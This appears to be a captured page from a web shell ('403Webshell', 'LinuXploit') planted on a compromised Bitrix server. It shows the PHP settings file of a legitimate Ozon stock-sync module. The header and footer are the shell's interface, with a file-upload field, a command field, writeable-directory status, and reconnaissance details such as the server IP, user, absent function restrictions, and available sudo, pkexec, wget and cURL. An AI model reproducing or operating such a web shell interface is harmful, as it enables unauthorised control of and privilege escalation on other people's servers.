403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/wbs24.ozonapinew/options/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/wbs24.ozonapinew/options/stock_options.php
<?php
use Bitrix\Main\Loader;
use Bitrix\Main\Web\Uri;
use Bitrix\Main\Application;
use Bitrix\Main\Localization\Loc;
use Bitrix\Main\Config\Option;
use Wbs24\Ozonapinew\{
    Agents,
    Settings,
    Wrappers,
    DeliveryServices,
    Formula
};

if (!$USER->IsAdmin()) return;

$moduleId = basename(dirname(__DIR__, 1));
$module_id = $moduleId; // для group_rights
$suffix = strtoupper($moduleId);

Loc::loadMessages(__FILE__);
Loader::includeModule($moduleId);

$request = Application::getInstance()->getContext()->getRequest();
$uriString = $request->getRequestUri();
$uri = new Uri($uriString);
$redirect = $uri->getUri();

$profileId = $_REQUEST['profile_id'];

$settingsObject = new Settings();
$warehouses = $settingsObject->getWarehouses();
$optionObject = new Wrappers\Option();

// Получение аккаунта
$account = $optionObject->setPrefix($profileId);

// Подключение css
$settingsObject->loadJs([$profileId]);
$settingsObject->loadCss();

// Проверка, уставновлен ли Curl
$isCurlInstalled = $settingsObject->isCurlInstalled();
$settingsError = $settingsObject->getLastError();
$accounts = $settingsObject->getAccounts();

// Получение значений свойств для остатков
$productStockPropertyValue = $optionObject->get($moduleId, 'productStockProperty');
$offerStockPropertyValue = $optionObject->get($moduleId, 'offerStockProperty');
$siteId = $optionObject->get($moduleId, 'siteId');

$arAllOptions["main"] = [
    (
        (!$isCurlInstalled)
        ? ['note' => Loc::getMessage($suffix.".CURL_NOTE")]
        : null
    ),
    (
        ($settingsError)
        ? ['note' => Loc::getMessage($suffix.".MODULES_ERROR")]
        : null
    ),
    Loc::getMessage($suffix.".UPDATE_STOCKS"),
    [
        $account."stocksUpdateFlag",
        Loc::getMessage($suffix.".AUTO_UPDATE_STOCKS_FLAG"),
        "",
        ["checkbox", ""]
    ],
    [
        'note' => Loc::getMessage($suffix.".SKU_NOTE")
    ],
    [
        $account."autoUpdateStocksInterval",
        Loc::getMessage($suffix.".RESTART_INTERVAL"),
        "",
        ["text", ""]
    ],
    [
        $account."marketplaceWarehouseName",
        \ShowJSHint(Loc::getMessage($suffix.".MARKETPLACE_WAREHOUSE_NAME_NOTE"), ["return" => true])
        . Loc::getMessage($suffix.".MARKETPLACE_WAREHOUSE_NAME"),
        "",
        ["text", ""]
    ],
    [
        $account."stockType",
        \ShowJSHint(Loc::getMessage($suffix.".SELECT_STOCK_TYPE_HINT"), ["return" => true])
        . Loc::getMessage($suffix.".SELECT_STOCK_TYPE"),
        "catalog_quantity",
        [
            "selectbox",
            $warehouses
        ]
    ],
    [
        '',
        '<div class="'.$account.'wbs24-stock-properties">' . Loc::getMessage($suffix.".PRODUCT_STOCK_PROPERTY") . '</div>',
        $settingsObject->getSelectForStockProperty(
            $siteId,
            $account.'productStockProperty',
            $productStockPropertyValue
        ),
        ['statichtml']
    ],
    [
        '',
        '<div class="'.$account.'wbs24-stock-properties">' . Loc::getMessage($suffix.".OFFER_STOCK_PROPERTY") . '</div>',
        $settingsObject->getSelectForStockProperty(
            $siteId,
            $account.'offerStockProperty',
            $offerStockPropertyValue
        ),
        ['statichtml']
    ],
    [
        $account."minStock",
        \ShowJSHint(
            Loc::getMessage($suffix.".MIN_STOCK_NOTE"),
            ["return" => true]
        ) . Loc::getMessage($suffix.".MIN_STOCK"),
        "1",
        ["text", ""]
    ],
    [
        $account."resetStock",
        \ShowJSHint(
            Loc::getMessage($suffix.".STOCKS_NOTE"),
            ["return" => true]
        ) . Loc::getMessage($suffix.".RESET_STOCK"),
        "",
        ["checkbox", ""]
    ],
    [
        '',
        '',
        '<br>',
        ['statichtml']
    ],
    [
        $account."accountingStockFbo",
        \ShowJSHint(Loc::getMessage($suffix.".ACCOUNTING_STOCK_FBO_NOTE"), ["return" => true])
        . Loc::getMessage($suffix.".ACCOUNTING_STOCK_FBO"),
        "",
        ["checkbox", ""]
    ],
    [
        $account."minStockFbo",
        Loc::getMessage($suffix.".MIN_STOCK_FBO"),
        "",
        ["text", ""]
    ]
];

if (
    !$siteId
    || $siteId == 'nothing'
) {
    $arAllOptions["main"] = [
        [
            'note' => Loc::getMessage($suffix.".WARNING_NOTE")
        ]
    ];
}

if ((isset($_REQUEST["save"]) || isset($_REQUEST["apply"]) || isset($_REQUEST["addAccount"])) && check_bitrix_sessid()) {
    $productStockProperty = $_REQUEST[$account."productStockProperty"] ?? '';
    $optionObject->set($moduleId, 'productStockProperty', $productStockProperty);

    $offerStockProperty = $_REQUEST[$account."offerStockProperty"] ?? '';
    $optionObject->set($moduleId, 'offerStockProperty', $offerStockProperty);

    __AdmSettingsSaveOptions($moduleId, $arAllOptions["main"]);

    if ($isCurlInstalled) {
        $agents = new Agents;
        $agents->updateAgents($accounts);

        $agentsPrices = new Agents\Prices();
        $agentsPrices->updateAgents($accounts);

        $agentsStocks = new Agents\Stocks();
        $agentsStocks->updateAgents($accounts);
    }

    if (isset($_REQUEST["addAccount"])) $settingsObject->addAccount();

    LocalRedirect($redirect);
}

$aTabs[] = [
    "DIV" => str_replace(".", "_", $moduleId).'_a' . $profileId,
    "TAB" => Loc::getMessage($suffix.".TAB_NAME"),
    "ICON" => "settings",
    "TITLE" => '',
];

$tabControl = new CAdminTabControl("tabControl", $aTabs);
?>
<form method="post" action="<?=$redirect?>" name="<?=str_replace(".", "_", $moduleId)?>">
    <?
    echo bitrix_sessid_post();
    $tabControl->Begin();
    $tabControl->BeginNextTab();

    __AdmSettingsDrawList($moduleId, $arAllOptions["main"]);

    $tabControl->Buttons([]);
    ?>
    <input type="submit" name="addAccount" class="wbs24_ozonapinew_option_add_account adm-btn-save" value="<?=Loc::getMessage($suffix.".ADD_ACCOUNT");?>">
    <?
    echo Loc::getMessage($suffix.".SERVICE_MSG");
    $tabControl->End();
    ?>
</form>

Youez - 2016 - github.com/yon3zu
LinuXploit